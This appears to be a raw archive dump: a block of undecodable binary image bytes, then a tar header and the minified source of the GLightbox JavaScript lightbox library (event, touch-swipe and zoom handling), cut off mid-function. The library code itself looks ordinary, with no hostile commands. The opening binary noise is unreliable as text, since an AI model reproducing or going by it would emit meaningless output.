�?1??=�U?�?���L}���?E?O�?I$�I�C?Y�e�G?I9�i^4e�?dc=�s???S?� ???�v'?�*�e�?�wFEO%] =����?A� 6-�?9-_?I?x1�?`�bqi?�eoE?�`��&~9?Xg�qNN}B?OW��????.?���?,?*�,x�?�??J?E���1E?#�{���%!�R.�# ?�?9R??U6?��1"\?�`$D����?jE\d�?�Y>b�/?fu?�???�?m?,��qL,?�G?/??��?sX�,�????�?5A���E?���n�"?�???�.��q?1p?O6<[?6+?7?.??��?D?��?��?s�?�??�^H??bpn�A??x�r�?$<�F?Ep ^�G�9���pCJ� u{B�?�]�??m?�V?l�z|'���<�]HC�&.�)Ef��C?��g?nDA�T1�?U,?�@?�w??A' ��L�NIV|??a�Gp??fq,�~> 2�r�0�s?~I!�2g1�I??.A6^??Ac�g????U??&?A\��UE�>�O�H_�~��I?IAA??Xl=4#[k?�x�???I?�xt?Ilj!�5X�M??dY87O#�?)��?�3�n"IrMrB4��W@�?��?�1(?c?</�����%a�?<Y??+f?n?Aq+?8u?N��i<�3?M�?�>!�,U�??Ox9,8B?D��g�?~]�?�A��gfCP�?\? �u?��U�wc??i]A<Wp��Z?f??U8���q?1pW??� I&.�??�??k?��Hi]$� Up�A?E��G�V?�qI?1� �?0x I�h?? C�8p�s{<?�v��z|�qj�?<?��?I�I?C4�I;???|^??T�?�&E?!?hk�E(IE�l�?D?F????r????��?�|�??ai�6+z�$?�?U?�p�g?� �, w2{?:?-4?4?�r�Y0-?��A�aU��?;???�>?�a0�=C���[A�?>��"��NE$&�??�0%???8�\�$Ek�n7/?Ax^^ <??��?=�??�ihAM��.�x�DM?�,(?�??4?] � �k?} ???��?RFZ%�EQ�\04hdKt�?S�k?Y��g�?E���`?r�??�?I?i�"U56��L�&U�9|kS? �N�UU)+g�_0?�?E�?bvp??z G?U!?V U���I?,"Gz=3?2??� N?'0��>yS�?2�??2�m?p83 d�vP?Ea`?U�c�?a�c묨I�_�A�V�I�88X?K��_R�x??,ksV���E �<A��?]V� 7Of"�~??�C�?(U?x v?E8?�NV�?� Y??.?�?C?����yu�IP?�u� �(m?�� ?J?���rf.�}�??EJ8?��?"���`v�)6n?E���~?�v~' �G`�eu�?%?�8??���ob�cp ?��???E?al?g�ntPx?�b�?鄩 �?E?2?�#A�DD!,�???�qײA?�?w�W��?S�3X�q�_d1?J�7P I�?U�sAQ8.�?BT7�?��a�JE[2FN?V?�+p=� y�?���*?d'�6a??? n?^;s��� ?�i?mO-�???T��y?Uy`???��=���=B�?~??R?�E?�D�gs��??�L?1???O�?N?�?e?r�?E�?'??1Em,??R?��l�n)m??�?:{:A?o�???�?{I IEND�B`� js/glightbox.js 0000644 00000325517 14721212120 0007512 0 ustar 00 (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() : typeof define === 'function' && define.amd ? define(factory) : (global = global || self, global.GLightbox = factory()); }(this, (function () { 'use strict'; function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function (obj) { return typeof obj; }; } else { _typeof = function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } var uid = Date.now(); function extend() { var extended = {}; var deep = true; var i = 0; var length = arguments.length; if (Object.prototype.toString.call(arguments[0]) === '[object Boolean]') { deep = arguments[0]; i++; } var merge = function merge(obj) { for (var prop in obj) { if (Object.prototype.hasOwnProperty.call(obj, prop)) { if (deep && Object.prototype.toString.call(obj[prop]) === '[object Object]') { extended[prop] = extend(true, extended[prop], obj[prop]); } else { extended[prop] = obj[prop]; } } } }; for (; i < length; i++) { var obj = arguments[i]; merge(obj); } return extended; } function each(collection, callback) { if (isNode(collection) || collection === window || collection === document) { collection = [collection]; } if (!isArrayLike(collection) && !isObject(collection)) { collection = [collection]; } if (size(collection) == 0) { return; } if (isArrayLike(collection) && !isObject(collection)) { var l = collection.length, i = 0; for (; i < l; i++) { if (callback.call(collection[i], collection[i], i, collection) === false) { break; } } } else if (isObject(collection)) { for (var key in collection) { if (has(collection, key)) { if (callback.call(collection[key], collection[key], key, collection) === false) { break; } } } } } function getNodeEvents(node) { var name = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : null; var fn = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : null; var cache = node[uid] = node[uid] || []; var data = { all: cache, evt: null, found: null }; if (name && fn && size(cache) > 0) { each(cache, function (cl, i) { if (cl.eventName == name && cl.fn.toString() == fn.toString()) { data.found = true; data.evt = i; return false; } }); } return data; } function addEvent(eventName) { var _ref = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}, onElement = _ref.onElement, withCallback = _ref.withCallback, _ref$avoidDuplicate = _ref.avoidDuplicate, avoidDuplicate = _ref$avoidDuplicate === void 0 ? true : _ref$avoidDuplicate, _ref$once = _ref.once, once = _ref$once === void 0 ? false : _ref$once, _ref$useCapture = _ref.useCapture, useCapture = _ref$useCapture === void 0 ? false : _ref$useCapture; var thisArg = arguments.length > 2 ? arguments[2] : undefined; var element = onElement || []; if (isString(element)) { element = document.querySelectorAll(element); } function handler(event) { if (isFunction(withCallback)) { withCallback.call(thisArg, event, this); } if (once) { handler.destroy(); } } handler.destroy = function () { each(element, function (el) { var events = getNodeEvents(el, eventName, handler); if (events.found) { events.all.splice(events.evt, 1); } if (el.removeEventListener) { el.removeEventListener(eventName, handler, useCapture); } }); }; each(element, function (el) { var events = getNodeEvents(el, eventName, handler); if (el.addEventListener && avoidDuplicate && !events.found || !avoidDuplicate) { el.addEventListener(eventName, handler, useCapture); events.all.push({ eventName: eventName, fn: handler }); } }); return handler; } function addClass(node, name) { each(name.split(' '), function (cl) { return node.classList.add(cl); }); } function removeClass(node, name) { each(name.split(' '), function (cl) { return node.classList.remove(cl); }); } function hasClass(node, name) { return node.classList.contains(name); } function closest(elem, selector) { while (elem !== document.body) { elem = elem.parentElement; if (!elem) { return false; } var matches = typeof elem.matches == 'function' ? elem.matches(selector) : elem.msMatchesSelector(selector); if (matches) { return elem; } } } function animateElement(element) { var animation = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : ''; var callback = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false; if (!element || animation === '') { return false; } if (animation === 'none') { if (isFunction(callback)) { callback(); } return false; } var animationEnd = whichAnimationEvent(); var animationNames = animation.split(' '); each(animationNames, function (name) { addClass(element, 'g' + name); }); addEvent(animationEnd, { onElement: element, avoidDuplicate: false, once: true, withCallback: function withCallback(event, target) { each(animationNames, function (name) { removeClass(target, 'g' + name); }); if (isFunction(callback)) { callback(); } } }); } function cssTransform(node) { var translate = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : ''; if (translate === '') { node.style.webkitTransform = ''; node.style.MozTransform = ''; node.style.msTransform = ''; node.style.OTransform = ''; node.style.transform = ''; return false; } node.style.webkitTransform = translate; node.style.MozTransform = translate; node.style.msTransform = translate; node.style.OTransform = translate; node.style.transform = translate; } function show(element) { element.style.display = 'block'; } function hide(element) { element.style.display = 'none'; } function createHTML(htmlStr) { var frag = document.createDocumentFragment(), temp = document.createElement('div'); temp.innerHTML = htmlStr; while (temp.firstChild) { frag.appendChild(temp.firstChild); } return frag; } function windowSize() { return { width: window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth, height: window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight }; } function whichAnimationEvent() { var t, el = document.createElement('fakeelement'); var animations = { animation: 'animationend', OAnimation: 'oAnimationEnd', MozAnimation: 'animationend', WebkitAnimation: 'webkitAnimationEnd' }; for (t in animations) { if (el.style[t] !== undefined) { return animations[t]; } } } function whichTransitionEvent() { var t, el = document.createElement('fakeelement'); var transitions = { transition: 'transitionend', OTransition: 'oTransitionEnd', MozTransition: 'transitionend', WebkitTransition: 'webkitTransitionEnd' }; for (t in transitions) { if (el.style[t] !== undefined) { return transitions[t]; } } } function createIframe(config) { var url = config.url, allow = config.allow, callback = config.callback, appendTo = config.appendTo; var iframe = document.createElement('iframe'); iframe.className = 'vimeo-video gvideo'; iframe.src = url; iframe.style.width = '100%'; iframe.style.height = '100%'; if (allow) { iframe.setAttribute('allow', allow); } iframe.onload = function () { iframe.onload = null; addClass(iframe, 'node-ready'); if (isFunction(callback)) { callback(); } }; if (appendTo) { appendTo.appendChild(iframe); } return iframe; } function waitUntil(check, onComplete, delay, timeout) { if (check()) { onComplete(); return; } if (!delay) { delay = 100; } var timeoutPointer; var intervalPointer = setInterval(function () { if (!check()) { return; } clearInterval(intervalPointer); if (timeoutPointer) { clearTimeout(timeoutPointer); } onComplete(); }, delay); if (timeout) { timeoutPointer = setTimeout(function () { clearInterval(intervalPointer); }, timeout); } } function injectAssets(url, waitFor, callback) { if (isNil(url)) { console.error('Inject assets error'); return; } if (isFunction(waitFor)) { callback = waitFor; waitFor = false; } if (isString(waitFor) && waitFor in window) { if (isFunction(callback)) { callback(); } return; } var found; if (url.indexOf('.css') !== -1) { found = document.querySelectorAll('link[href="' + url + '"]'); if (found && found.length > 0) { if (isFunction(callback)) { callback(); } return; } var head = document.getElementsByTagName('head')[0]; var headStyles = head.querySelectorAll('link[rel="stylesheet"]'); var link = document.createElement('link'); link.rel = 'stylesheet'; link.type = 'text/css'; link.href = url; link.media = 'all'; if (headStyles) { head.insertBefore(link, headStyles[0]); } else { head.appendChild(link); } if (isFunction(callback)) { callback(); } return; } found = document.querySelectorAll('script[src="' + url + '"]'); if (found && found.length > 0) { if (isFunction(callback)) { if (isString(waitFor)) { waitUntil(function () { return typeof window[waitFor] !== 'undefined'; }, function () { callback(); }); return false; } callback(); } return; } var script = document.createElement('script'); script.type = 'text/javascript'; script.src = url; script.onload = function () { if (isFunction(callback)) { if (isString(waitFor)) { waitUntil(function () { return typeof window[waitFor] !== 'undefined'; }, function () { callback(); }); return false; } callback(); } }; document.body.appendChild(script); } function isMobile() { return 'navigator' in window && window.navigator.userAgent.match(/(iPad)|(iPhone)|(iPod)|(Android)|(PlayBook)|(BB10)|(BlackBerry)|(Opera Mini)|(IEMobile)|(webOS)|(MeeGo)/i); } function isTouch() { return isMobile() !== null || document.createTouch !== undefined || 'ontouchstart' in window || 'onmsgesturechange' in window || navigator.msMaxTouchPoints; } function isFunction(f) { return typeof f === 'function'; } function isString(s) { return typeof s === 'string'; } function isNode(el) { return !!(el && el.nodeType && el.nodeType == 1); } function isArray(ar) { return Array.isArray(ar); } function isArrayLike(ar) { return ar && ar.length && isFinite(ar.length); } function isObject(o) { var type = _typeof(o); return type === 'object' && o != null && !isFunction(o) && !isArray(o); } function isNil(o) { return o == null; } function has(obj, key) { return obj !== null && hasOwnProperty.call(obj, key); } function size(o) { if (isObject(o)) { if (o.keys) { return o.keys().length; } var l = 0; for (var k in o) { if (has(o, k)) { l++; } } return l; } else { return o.length; } } function isNumber(n) { return !isNaN(parseFloat(n)) && isFinite(n); } function getNextFocusElement() { var current = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : -1; var btns = document.querySelectorAll('.gbtn[data-taborder]:not(.disabled)'); if (!btns.length) { return false; } if (btns.length == 1) { return btns[0]; } if (typeof current == 'string') { current = parseInt(current); } var orders = []; each(btns, function (btn) { orders.push(btn.getAttribute('data-taborder')); }); var highestOrder = Math.max.apply(Math, orders.map(function (order) { return parseInt(order); })); var newIndex = current < 0 ? 1 : current + 1; if (newIndex > highestOrder) { newIndex = '1'; } var nextOrders = orders.filter(function (el) { return el >= parseInt(newIndex); }); var nextFocus = nextOrders.sort()[0]; return document.querySelector(".gbtn[data-taborder=\"".concat(nextFocus, "\"]")); } function keyboardNavigation(instance) { if (instance.events.hasOwnProperty('keyboard')) { return false; } instance.events['keyboard'] = addEvent('keydown', { onElement: window, withCallback: function withCallback(event, target) { event = event || window.event; var key = event.keyCode; if (key == 9) { var focusedButton = document.querySelector('.gbtn.focused'); if (!focusedButton) { var activeElement = document.activeElement && document.activeElement.nodeName ? document.activeElement.nodeName.toLocaleLowerCase() : false; if (activeElement == 'input' || activeElement == 'textarea' || activeElement == 'button') { return; } } event.preventDefault(); var btns = document.querySelectorAll('.gbtn[data-taborder]'); if (!btns || btns.length <= 0) { return; } if (!focusedButton) { var first = getNextFocusElement(); if (first) { first.focus(); addClass(first, 'focused'); } return; } var currentFocusOrder = focusedButton.getAttribute('data-taborder'); var nextFocus = getNextFocusElement(currentFocusOrder); removeClass(focusedButton, 'focused'); if (nextFocus) { nextFocus.focus(); addClass(nextFocus, 'focused'); } } if (key == 39) { instance.nextSlide(); } if (key == 37) { instance.prevSlide(); } if (key == 27) { instance.close(); } } }); } function getLen(v) { return Math.sqrt(v.x * v.x + v.y * v.y); } function dot(v1, v2) { return v1.x * v2.x + v1.y * v2.y; } function getAngle(v1, v2) { var mr = getLen(v1) * getLen(v2); if (mr === 0) { return 0; } var r = dot(v1, v2) / mr; if (r > 1) { r = 1; } return Math.acos(r); } function cross(v1, v2) { return v1.x * v2.y - v2.x * v1.y; } function getRotateAngle(v1, v2) { var angle = getAngle(v1, v2); if (cross(v1, v2) > 0) { angle *= -1; } return angle * 180 / Math.PI; } var EventsHandlerAdmin = function () { function EventsHandlerAdmin(el) { _classCallCheck(this, EventsHandlerAdmin); this.handlers = []; this.el = el; } _createClass(EventsHandlerAdmin, [{ key: "add", value: function add(handler) { this.handlers.push(handler); } }, { key: "del", value: function del(handler) { if (!handler) { this.handlers = []; } for (var i = this.handlers.length; i >= 0; i--) { if (this.handlers[i] === handler) { this.handlers.splice(i, 1); } } } }, { key: "dispatch", value: function dispatch() { for (var i = 0, len = this.handlers.length; i < len; i++) { var handler = this.handlers[i]; if (typeof handler === 'function') { handler.apply(this.el, arguments); } } } }]); return EventsHandlerAdmin; }(); function wrapFunc(el, handler) { var EventshandlerAdmin = new EventsHandlerAdmin(el); EventshandlerAdmin.add(handler); return EventshandlerAdmin; } var TouchEvents = function () { function TouchEvents(el, option) { _classCallCheck(this, TouchEvents); this.element = typeof el == 'string' ? document.querySelector(el) : el; this.start = this.start.bind(this); this.move = this.move.bind(this); this.end = this.end.bind(this); this.cancel = this.cancel.bind(this); this.element.addEventListener('touchstart', this.start, false); this.element.addEventListener('touchmove', this.move, false); this.element.addEventListener('touchend', this.end, false); this.element.addEventListener('touchcancel', this.cancel, false); this.preV = { x: null, y: null }; this.pinchStartLen = null; this.zoom = 1; this.isDoubleTap = false; var noop = function noop() {}; this.rotate = wrapFunc(this.element, option.rotate || noop); this.touchStart = wrapFunc(this.element, option.touchStart || noop); this.multipointStart = wrapFunc(this.element, option.multipointStart || noop); this.multipointEnd = wrapFunc(this.element, option.multipointEnd || noop); this.pinch = wrapFunc(this.element, option.pinch || noop); this.swipe = wrapFunc(this.element, option.swipe || noop); this.tap = wrapFunc(this.element, option.tap || noop); this.doubleTap = wrapFunc(this.element, option.doubleTap || noop); this.longTap = wrapFunc(this.element, option.longTap || noop); this.singleTap = wrapFunc(this.element, option.singleTap || noop); this.pressMove = wrapFunc(this.element, option.pressMove || noop); this.twoFingerPressMove = wrapFunc(this.element, option.twoFingerPressMove || noop); this.touchMove = wrapFunc(this.element, option.touchMove || noop); this.touchEnd = wrapFunc(this.element, option.touchEnd || noop); this.touchCancel = wrapFunc(this.element, option.touchCancel || noop); this.translateContainer = this.element; this._cancelAllHandler = this.cancelAll.bind(this); window.addEventListener('scroll', this._cancelAllHandler); this.delta = null; this.last = null; this.now = null; this.tapTimeout = null; this.singleTapTimeout = null; this.longTapTimeout = null; this.swipeTimeout = null; this.x1 = this.x2 = this.y1 = this.y2 = null; this.preTapPosition = { x: null, y: null }; } _createClass(TouchEvents, [{ key: "start", value: function start(evt) { if (!evt.touches) { return; } var ignoreDragFor = ['a', 'button', 'input']; if (evt.target && evt.target.nodeName && ignoreDragFor.indexOf(evt.target.nodeName.toLowerCase()) >= 0) { console.log('ignore drag for this touched element', evt.target.nodeName.toLowerCase()); return; } this.now = Date.now(); this.x1 = evt.touches[0].pageX; this.y1 = evt.touches[0].pageY; this.delta = this.now - (this.last || this.now); this.touchStart.dispatch(evt, this.element); if (this.preTapPosition.x !== null) { this.isDoubleTap = this.delta > 0 && this.delta <= 250 && Math.abs(this.preTapPosition.x - this.x1) < 30 && Math.abs(this.preTapPosition.y - this.y1) < 30; if (this.isDoubleTap) { clearTimeout(this.singleTapTimeout); } } this.preTapPosition.x = this.x1; this.preTapPosition.y = this.y1; this.last = this.now; var preV = this.preV, len = evt.touches.length; if (len > 1) { this._cancelLongTap(); this._cancelSingleTap(); var v = { x: evt.touches[1].pageX - this.x1, y: evt.touches[1].pageY - this.y1 }; preV.x = v.x; preV.y = v.y; this.pinchStartLen = getLen(preV); this.multipointStart.dispatch(evt, this.element); } this._preventTap = false; this.longTapTimeout = setTimeout(function () { this.longTap.dispatch(evt, this.element); this._preventTap = true; }.bind(this), 750); } }, { key: "move", value: function move(evt) { if (!evt.touches) { return; } var preV = this.preV, len = evt.touches.length, currentX = evt.touches[0].pageX, currentY = evt.touches[0].pageY; this.isDoubleTap = false; if (len > 1) { var sCurrentX = evt.touches[1].pageX, sCurrentY = evt.touches[1].pageY; var v = { x: evt.touches[1].pageX - currentX, y: evt.touches[1].pageY - currentY }; if (preV.x !== null) { if (this.pinchStartLen > 0) { evt.zoom = getLen(v) / this.pinchStartLen; this.pinch.dispatch(evt, this.element); } evt.angle = getRotateAngle(v, preV); this.rotate.dispatch(evt, this.element); } preV.x = v.x; preV.y = v.y; if (this.x2 !== null && this.sx2 !== null) { evt.deltaX = (currentX - this.x2 + sCurrentX - this.sx2) / 2; evt.deltaY = (currentY - this.y2 + sCurrentY - this.sy2) / 2; } else { evt.deltaX = 0; evt.deltaY = 0; } this.twoFingerPressMove.dispatch(evt, this.element); this.sx2 = sCurrentX; this.sy2 = sCurrentY; } else { if (this.x2 !== null) { evt.deltaX = currentX - this.x2; evt.deltaY = currentY - this.y2; var movedX = Math.abs(this.x1 - this.x2), movedY = Math.abs(this.y1 - this.y2); if (movedX > 10 || movedY > 10) { this._preventTap = true; } } else { evt.deltaX = 0; evt.deltaY = 0; } this.pressMove.dispatch(evt, this.element); } this.touchMove.dispatch(evt, this.element); this._cancelLongTap(); this.x2 = currentX; this.y2 = currentY; if (len > 1) { evt.preventDefault(); } } }, { key: "end", value: function end(evt) { if (!evt.changedTouches) { return; } this._cancelLongTap(); var self = this; if (evt.touches.length < 2) { this.multipointEnd.dispatch(evt, this.element); this.sx2 = this.sy2 = null; } if (this.x2 && Math.abs(this.x1 - this.x2) > 30 || this.y2 && Math.abs(this.y1 - this.y2) > 30) { evt.direction = this._swipeDirection(this.x1, this.x2, this.y1, this.y2); this.swipeTimeout = setTimeout(function () { self.swipe.dispatch(evt, self.element); }, 0); } else { this.tapTimeout = setTimeout(function () { if (!self._preventTap) { self.tap.dispatch(evt, self.element); } if (self.isDoubleTap) { self.doubleTap.dispatch(evt, self.element); self.isDoubleTap = false; } }, 0); if (!self.isDoubleTap) { self.singleTapTimeout = setTimeout(function () { self.singleTap.dispatch(evt, self.element); }, 250); } } this.touchEnd.dispatch(evt, this.element); this.preV.x = 0; this.preV.y = 0; this.zoom = 1; this.pinchStartLen = null; this.x1 = this.x2 = this.y1 = this.y2 = null; } }, { key: "cancelAll", value: function cancelAll() { this._preventTap = true; clearTimeout(this.singleTapTimeout); clearTimeout(this.tapTimeout); clearTimeout(this.longTapTimeout); clearTimeout(this.swipeTimeout); } }, { key: "cancel", value: function cancel(evt) { this.cancelAll(); this.touchCancel.dispatch(evt, this.element); } }, { key: "_cancelLongTap", value: function _cancelLongTap() { clearTimeout(this.longTapTimeout); } }, { key: "_cancelSingleTap", value: function _cancelSingleTap() { clearTimeout(this.singleTapTimeout); } }, { key: "_swipeDirection", value: function _swipeDirection(x1, x2, y1, y2) { return Math.abs(x1 - x2) >= Math.abs(y1 - y2) ? x1 - x2 > 0 ? 'Left' : 'Right' : y1 - y2 > 0 ? 'Up' : 'Down'; } }, { key: "on", value: function on(evt, handler) { if (this[evt]) { this[evt].add(handler); } } }, { key: "off", value: function off(evt, handler) { if (this[evt]) { this[evt].del(handler); } } }, { key: "destroy", value: function destroy() { if (this.singleTapTimeout) { clearTimeout(this.singleTapTimeout); } if (this.tapTimeout) { clearTimeout(this.tapTimeout); } if (this.longTapTimeout) { clearTimeout(this.longTapTimeout); } if (this.swipeTimeout) { clearTimeout(this.swipeTimeout); } this.element.removeEventListener('touchstart', this.start); this.element.removeEventListener('touchmove', this.move); this.element.removeEventListener('touchend', this.end); this.element.removeEventListener('touchcancel', this.cancel); this.rotate.del(); this.touchStart.del(); this.multipointStart.del(); this.multipointEnd.del(); this.pinch.del(); this.swipe.del(); this.tap.del(); this.doubleTap.del(); this.longTap.del(); this.singleTap.del(); this.pressMove.del(); this.twoFingerPressMove.del(); this.touchMove.del(); this.touchEnd.del(); this.touchCancel.del(); this.preV = this.pinchStartLen = this.zoom = this.isDoubleTap = this.delta = this.last = this.now = this.tapTimeout = this.singleTapTimeout = this.longTapTimeout = this.swipeTimeout = this.x1 = this.x2 = this.y1 = this.y2 = this.preTapPosition = this.rotate = this.touchStart = this.multipointStart = this.multipointEnd = this.pinch = this.swipe = this.tap = this.doubleTap = this.longTap = this.singleTap = this.pressMove = this.touchMove = this.touchEnd = this.touchCancel = this.twoFingerPressMove = null; window.removeEventListener('scroll', this._cancelAllHandler); return null; } }]); return TouchEvents; }(); function resetSlideMove(slide) { var transitionEnd = whichTransitionEvent(); var windowWidth = window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth; var media = hasClass(slide, 'gslide-media') ? slide : slide.querySelector('.gslide-media'); var container = closest(media, '.ginner-container'); var desc = slide.querySelector('.gslide-description'); if (windowWidth > 769) { media = container; } addClass(media, 'greset'); cssTransform(media, 'translate3d(0, 0, 0)'); addEvent(transitionEnd, { onElement: media, once: true, withCallback: function withCallback(event, target) { removeClass(media, 'greset'); } }); media.style.opacity = ''; if (desc) { desc.style.opacity = ''; } } function touchNavigation(instance) { if (instance.events.hasOwnProperty('touch')) { return false; } var winSize = windowSize(); var winWidth = winSize.width; var winHeight = winSize.height; var process = false; var currentSlide = null; var media = null; var mediaImage = null; var doingMove = false; var initScale = 1; var maxScale = 4.5; var currentScale = 1; var doingZoom = false; var imageZoomed = false; var zoomedPosX = null; var zoomedPosY = null; var lastZoomedPosX = null; var lastZoomedPosY = null; var hDistance; var vDistance; var hDistancePercent = 0; var vDistancePercent = 0; var vSwipe = false; var hSwipe = false; var startCoords = {}; var endCoords = {}; var xDown = 0; var yDown = 0; var isInlined; var sliderWrapper = document.getElementById('glightbox-slider'); var overlay = document.querySelector('.goverlay'); var touchInstance = new TouchEvents(sliderWrapper, { touchStart: function touchStart(e) { process = true; if (hasClass(e.targetTouches[0].target, 'ginner-container') || closest(e.targetTouches[0].target, '.gslide-desc') || e.targetTouches[0].target.nodeName.toLowerCase() == 'a') { process = false; } if (closest(e.targetTouches[0].target, '.gslide-inline') && !hasClass(e.targetTouches[0].target.parentNode, 'gslide-inline')) { process = false; } if (process) { endCoords = e.targetTouches[0]; startCoords.pageX = e.targetTouches[0].pageX; startCoords.pageY = e.targetTouches[0].pageY; xDown = e.targetTouches[0].clientX; yDown = e.targetTouches[0].clientY; currentSlide = instance.activeSlide; media = currentSlide.querySelector('.gslide-media'); isInlined = currentSlide.querySelector('.gslide-inline'); mediaImage = null; if (hasClass(media, 'gslide-image')) { mediaImage = media.querySelector('img'); } var windowWidth = window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth; if (windowWidth > 769) { media = currentSlide.querySelector('.ginner-container'); } removeClass(overlay, 'greset'); if (e.pageX > 20 && e.pageX < window.innerWidth - 20) { return; } e.preventDefault(); } }, touchMove: function touchMove(e) { if (!process) { return; } endCoords = e.targetTouches[0]; if (doingZoom || imageZoomed) { return; } if (isInlined && isInlined.offsetHeight > winHeight) { var moved = startCoords.pageX - endCoords.pageX; if (Math.abs(moved) <= 13) { return false; } } doingMove = true; var xUp = e.targetTouches[0].clientX; var yUp = e.targetTouches[0].clientY; var xDiff = xDown - xUp; var yDiff = yDown - yUp; if (Math.abs(xDiff) > Math.abs(yDiff)) { vSwipe = false; hSwipe = true; } else { hSwipe = false; vSwipe = true; } hDistance = endCoords.pageX - startCoords.pageX; hDistancePercent = hDistance * 100 / winWidth; vDistance = endCoords.pageY - startCoords.pageY; vDistancePercent = vDistance * 100 / winHeight; var opacity; if (vSwipe && mediaImage) { opacity = 1 - Math.abs(vDistance) / winHeight; overlay.style.opacity = opacity; if (instance.settings.touchFollowAxis) { hDistancePercent = 0; } } if (hSwipe) { opacity = 1 - Math.abs(hDistance) / winWidth; media.style.opacity = opacity; if (instance.settings.touchFollowAxis) { vDistancePercent = 0; } } if (!mediaImage) { return cssTransform(media, "translate3d(".concat(hDistancePercent, "%, 0, 0)")); } cssTransform(media, "translate3d(".concat(hDistancePercent, "%, ").concat(vDistancePercent, "%, 0)")); }, touchEnd: function touchEnd() { if (!process) { return; } doingMove = false; if (imageZoomed || doingZoom) { lastZoomedPosX = zoomedPosX; lastZoomedPosY = zoomedPosY; return; } var v = Math.abs(parseInt(vDistancePercent)); var h = Math.abs(parseInt(hDistancePercent)); if (v > 29 && mediaImage) { instance.close(); return; } if (v < 29 && h < 25) { addClass(overlay, 'greset'); overlay.style.opacity = 1; return resetSlideMove(media); } }, multipointEnd: function multipointEnd() { setTimeout(function () { doingZoom = false; }, 50); }, multipointStart: function multipointStart() { doingZoom = true; initScale = currentScale ? currentScale : 1; }, pinch: function pinch(evt) { if (!mediaImage || doingMove) { return false; } doingZoom = true; mediaImage.scaleX = mediaImage.scaleY = initScale * evt.zoom; var scale = initScale * evt.zoom; imageZoomed = true; if (scale <= 1) { imageZoomed = false; scale = 1; lastZoomedPosY = null; lastZoomedPosX = null; zoomedPosX = null; zoomedPosY = null; mediaImage.setAttribute('style', ''); return; } if (scale > maxScale) { scale = maxScale; } mediaImage.style.transform = "scale3d(".concat(scale, ", ").concat(scale, ", 1)"); currentScale = scale; }, pressMove: function pressMove(e) { if (imageZoomed && !doingZoom) { var mhDistance = endCoords.pageX - startCoords.pageX; var mvDistance = endCoords.pageY - startCoords.pageY; if (lastZoomedPosX) { mhDistance = mhDistance + lastZoomedPosX; } if (lastZoomedPosY) { mvDistance = mvDistance + lastZoomedPosY; } zoomedPosX = mhDistance; zoomedPosY = mvDistance; var style = "translate3d(".concat(mhDistance, "px, ").concat(mvDistance, "px, 0)"); if (currentScale) { style += " scale3d(".concat(currentScale, ", ").concat(currentScale, ", 1)"); } cssTransform(mediaImage, style); } }, swipe: function swipe(evt) { if (imageZoomed) { return; } if (doingZoom) { doingZoom = false; return; } if (evt.direction == 'Left') { if (instance.index == instance.elements.length - 1) { return resetSlideMove(media); } instance.nextSlide(); } if (evt.direction == 'Right') { if (instance.index == 0) { return resetSlideMove(media); } instance.prevSlide(); } } }); instance.events['touch'] = touchInstance; } var ZoomImages = function () { function ZoomImages(el, slide) { var _this = this; var onclose = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : null; _classCallCheck(this, ZoomImages); this.img = el; this.slide = slide; this.onclose = onclose; if (this.img.setZoomEvents) { return false; } this.active = false; this.zoomedIn = false; this.dragging = false; this.currentX = null; this.currentY = null; this.initialX = null; this.initialY = null; this.xOffset = 0; this.yOffset = 0; this.img.addEventListener('mousedown', function (e) { return _this.dragStart(e); }, false); this.img.addEventListener('mouseup', function (e) { return _this.dragEnd(e); }, false); this.img.addEventListener('mousemove', function (e) { return _this.drag(e); }, false); this.img.addEventListener('click', function (e) { if (_this.slide.classList.contains('dragging-nav')) { _this.zoomOut(); return false; } if (!_this.zoomedIn) { return _this.zoomIn(); } if (_this.zoomedIn && !_this.dragging) { _this.zoomOut(); } }, false); this.img.setZoomEvents = true; } _createClass(ZoomImages, [{ key: "zoomIn", value: function zoomIn() { var winWidth = this.widowWidth(); if (this.zoomedIn || winWidth <= 768) { return; } var img = this.img; img.setAttribute('data-style', img.getAttribute('style')); img.style.maxWidth = img.naturalWidth + 'px'; img.style.maxHeight = img.naturalHeight + 'px'; if (img.naturalWidth > winWidth) { var centerX = winWidth / 2 - img.naturalWidth / 2; this.setTranslate(this.img.parentNode, centerX, 0); } this.slide.classList.add('zoomed'); this.zoomedIn = true; } }, { key: "zoomOut", value: function zoomOut() { this.img.parentNode.setAttribute('style', ''); this.img.setAttribute('style', this.img.getAttribute('data-style')); this.slide.classList.remove('zoomed'); this.zoomedIn = false; this.currentX = null; this.currentY = null; this.initialX = null; this.initialY = null; this.xOffset = 0; this.yOffset = 0; if (this.onclose && typeof this.onclose == 'function') { this.onclose(); } } }, { key: "dragStart", value: function dragStart(e) { e.preventDefault(); if (!this.zoomedIn) { this.active = false; return; } if (e.type === 'touchstart') { this.initialX = e.touches[0].clientX - this.xOffset; this.initialY = e.touches[0].clientY - this.yOffset; } else { this.initialX = e.clientX - this.xOffset; this.initialY = e.clientY - this.yOffset; } if (e.target === this.img) { this.active = true; this.img.classList.add('dragging'); } } }, { key: "dragEnd", value: function dragEnd(e) { var _this2 = this; e.preventDefault(); this.initialX = this.currentX; this.initialY = this.currentY; this.active = false; setTimeout(function () { _this2.dragging 